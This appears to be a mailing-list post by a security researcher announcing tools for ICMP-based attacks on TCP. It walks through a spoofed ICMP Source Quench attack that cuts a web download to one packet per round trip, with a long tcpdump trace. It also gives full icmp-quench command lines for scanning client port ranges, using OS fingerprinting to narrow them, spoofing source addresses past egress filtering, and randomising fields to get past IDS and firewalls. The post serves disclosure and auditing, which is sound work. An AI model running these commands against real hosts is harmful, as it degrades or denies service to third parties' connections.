Folks, It seems worthless to try to explain over and over again how trivial it is to perform ICMP-based attacks against TCP. So I have posted on my web site (http://www.gont.com.ar/tools/icmp-attacks) the same tools that vendors were supposed to use to audit their systems, and test their patches. Here is a packet trace that shows the blind throughput-reduction attack in action, with explanations inline. Scenario: Web-browser (10.0.0.1, TCP port 1063) is downloading a large file from a web-server (192.168.0.1, TCP port 80) For simplicity-sake, let's assume we know the four-tuple that identifies the TCP connection (keep reading for an example in which we don't): Let's perform the attack. # icmp-quench -c 10.0.0.1:1063 -s 192.168.0.1:80 -t server -r 100 (The client is at 10.0.0.1, using TCP port 1063. The server is at 192.168.0.1, using port 80. Let's attack the server ("-t server"). Limit the throughput used for the *attack* to about 100 kbps) 01:47:56.830156 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 71, id 3721) (ttl 188, id 38453) 01:47:56.950062 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 124, id 15000) (ttl 61, id 34927) 01:47:57.070066 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 229, id 25845) (ttl 250, id 45209) 01:47:57.079918 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) ack 291649 win 7312 (DF) [tos 0xf (EC)] (ttl 116, id 45064) See that the client (10.0.0.1) advertises a window of 7312 bytes. Thus, as far as TCP *flow* control is concerned, the webserver could send as many bytes as 7312. 01:47:57.190091 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 222, id 42066) (ttl 123, id 18038) 01:47:57.310057 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 83, id 45730) (ttl 136, id 41605) 01:47:57.400762 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) ack 293097 win 8760 (DF) [tos 0xf (EC)] (ttl 116, id 45320) 01:47:57.430069 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 104, id 26156) (ttl 85, id 48347) 01:47:57.550065 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 249, id 14568) (ttl 238, id 44119) 01:47:57.670079 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 242, id 49311) (ttl 151, id 10965) 01:47:57.746505 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) ack 294545 win 7312 (DF) [tos 0xf (EC)] (ttl 116, id 45576) However, the ICMP source quench messages have put the connection in the slow start phase, and thus the server will send only one packet. That is, TCP's congestion control won't allow the server's TCP to send more than 1 segment. This is the server's data segment: 01:47:57.750082 192.168.0.1.80 > 10.0.0.1.1063: . 295993:297441(1448) ack 232 win 17376 (DF) (ttl 64, id 16156) However, the attacker sends another Source Quench: 01:47:57.790067 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 63, id 14055) (ttl 108, id 3600) And thus cwnd will be set back to 1, allowing the server to send only one segment: 01:47:57.832648 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) ack 295993 win 8760 (DF) [tos 0xf (EC)] (ttl 116, id 45832) 01:47:57.836227 192.168.0.1.80 > 10.0.0.1.1063: . 297441:298889(1448) ack 232 win 17376 (DF) (ttl 64, id 4839) 01:47:57.910080 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 232, id 61992) (ttl 161, id 53393) 01:47:58.030075 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 161, id 60570) (ttl 98, id 2081) 01:47:58.150060 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 118, id 15382) (ttl 171, id 61130) 01:47:58.270074 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 131, id 39528) (ttl 116, id 55998) 01:47:58.390072 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 136, id 57047) (ttl 249, id 50387) Have a look at the following pattern: 01:47:58.472928 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) ack 297441 win 7312 (DF) [tos 0xf (EC)] (ttl 116, id 47368) 01:47:58.476517 192.168.0.1.80 > 10.0.0.1.1063: . 298889:300337(1448) ack 232 win 17376 (DF) (ttl 64, id 8494) 01:47:58.510066 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 77, id 32815) (ttl 174, id 50351) The web server receives an ACK, so it sends a data segment. But it then receives a number of source quench messages, which will keep cwnd at 1. Thus, the throughput of the connection gets limited to one packet per RTT (round-trip time). 01:47:58.630074 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 66, id 6352) (ttl 187, id 37417) 01:47:58.681557 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) ack 298889 win 8760 (DF) [tos 0xf (EC)] (ttl 116, id 47624) 01:47:58.685134 192.168.0.1.80 > 10.0.0.1.1063: . 300337:301785(1448) ack 232 win 17376 (DF) (ttl 64, id 28561) 01:47:58.750068 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 195, id 57048) (ttl 144, id 1692) 01:47:58.877803 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 152, id 10915) (ttl 169, id 39043) 01:47:58.990060 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 109, id 62567) (ttl 166, id 57565) 01:47:59.110058 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 122, id 21511) (ttl 199, id 5731) 01:47:59.230059 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 139, id 650) (ttl 72, id 37585) 01:47:59.236658 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) ack 300337 win 7312 (DF) [tos 0xf (EC)] (ttl 116, id 48136) 01:47:59.240247 192.168.0.1.80 > 10.0.0.1.1063: . 301785:303233(1448) ack 232 win 17376 (DF) (ttl 64, id 13370) 01:47:59.350084 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 96, id 54804) (ttl 97, id 19491) 01:47:59.443666 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) ack 301785 win 8760 (DF) [tos 0xf (EC)] (ttl 116, id 48392) 01:47:59.447243 192.168.0.1.80 > 10.0.0.1.1063: . 303233:304681(1448) ack 232 win 17376 (DF) (ttl 64, id 16919) 01:47:59.470072 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 97, id 18598) (ttl 206, id 23717) 01:47:59.590078 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 194, id 61461) (ttl 111, id 31369) 01:47:59.710058 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 103, id 1646) (ttl 152, id 32425) 01:47:59.830059 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 180, id 58070) (ttl 205, id 57556) 01:47:59.950061 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 229, id 31980) (ttl 206, id 14368) 01:47:59.993763 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) ack 303233 win 7312 (DF) [tos 0xf (EC)] (ttl 116, id 48904) 01:47:59.997340 192.168.0.1.80 > 10.0.0.1.1063: . 304681:306129(1448) ack 232 win 17376 (DF) (ttl 64, id 1204) 01:48:00.070067 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 254, id 60533) (ttl 211, id 48718) 01:48:00.190061 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 143, id 59926) (ttl 248, id 51853) 01:48:00.202233 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) ack 304681 win 8760 (DF) [tos 0xf (EC)] (ttl 116, id 49160) 01:48:00.205809 192.168.0.1.80 > 10.0.0.1.1063: . 306129:307577(1448) ack 232 win 17376 (DF) (ttl 64, id 15196) 01:48:00.310067 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 132, id 20147) (ttl 89, id 21594) 01:48:00.430069 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 221, id 37084) (ttl 134, id 29832) 01:48:00.556726 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 238, id 18625) (ttl 79, id 57860) 01:48:00.634932 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) ack 306129 win 7312 (DF) [tos 0xf (EC)] (ttl 116, id 49672) 01:48:00.638510 192.168.0.1.80 > 10.0.0.1.1063: . 307577:309025(1448) ack 232 win 17376 (DF) (ttl 64, id 27896) 01:48:00.670072 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 187, id 44726) (ttl 132, id 30216) 01:48:00.779869 10.0.0.1.1063 > 192.168.0.1.80: . [tcp sum ok] 232:232(0) ack 307577 win 8760 (DF) [tos 0xf (EC)] (ttl 116, id 49928) 01:48:00.783399 192.168.0.1.80 > 10.0.0.1.1063: . 309025:310473(1448) ack 232 win 17376 (DF) (ttl 64, id 12684) 01:48:00.790070 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 252, id 6804) (ttl 201, id 43029) 01:48:00.910060 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 173, id 33976) (ttl 182, id 4152) 01:48:01.030059 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 194, id 1202) (ttl 239, id 59037) 01:48:01.150071 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 215, id 21023) (ttl 188, id 33475) 01:48:01.270057 10.0.0.1 > 192.168.0.1: icmp: source quench for 192.168.0.1.80 > 10.0.0.1.1063: [|tcp] (ttl 108, id 18051) (ttl 109, id 56328) We have limited the throughput of the connection to about one packet per round-trip time. Now, what if we don't know the client port? That's not a problem. It's still pretty easy. You can make icmp-quench try all the possible port numbers for the client: # icmp-quench -c 10.0.0.1:1-65535 -s 192.168.0.1:80 -t server -r 100 But attackers are usually a bit more clever than that. Let's say the attacker has some tool for OS fingerprinting (nmap, for example). Let's say he discovers the web server is running Windows. Googling a bit, the attacker will know that Windows chooses the port numbers for outgoing connections from the range 1024-4999. Thus, he can use icmp-quench this way: # icmp-quench -c 10.0.0.1:1024-4999 -s 192.168.0.1:80 -t server -r 100 By default, icmp-quench spoofes the source address of the ICMP packets (it will use the IP address of the peer that is *not* being attacked... that's why the ICMP packets come from 10.0.0.1 in the packet trace). Let's say the attacker now wants to use the address 200.200.0.1 as the source address of his packets (to avoid being egress-filtered, for example): # icmp-quench -c 10.0.0.1:1024-4999 -s 192.168.0.1:80 -t server -r 100 -f 200.200.0.1 The tools have many other options. Run the tool with no options, and learn about them Btw, all the packet fields, when it makes sense, are set by default to some random number (just to avoid your IDS/Firewall messing with your audit tests). The icmp-quench tool is available at http://www.gont.com.ar/tools/icmp-attacks . Share it with the people that told you these attacks were not easy to perform, and show them the packet traces you obtain. Kindest regards, -- Fernando Gont e-mail: fernando@gont.com.ar || fgont@acm.org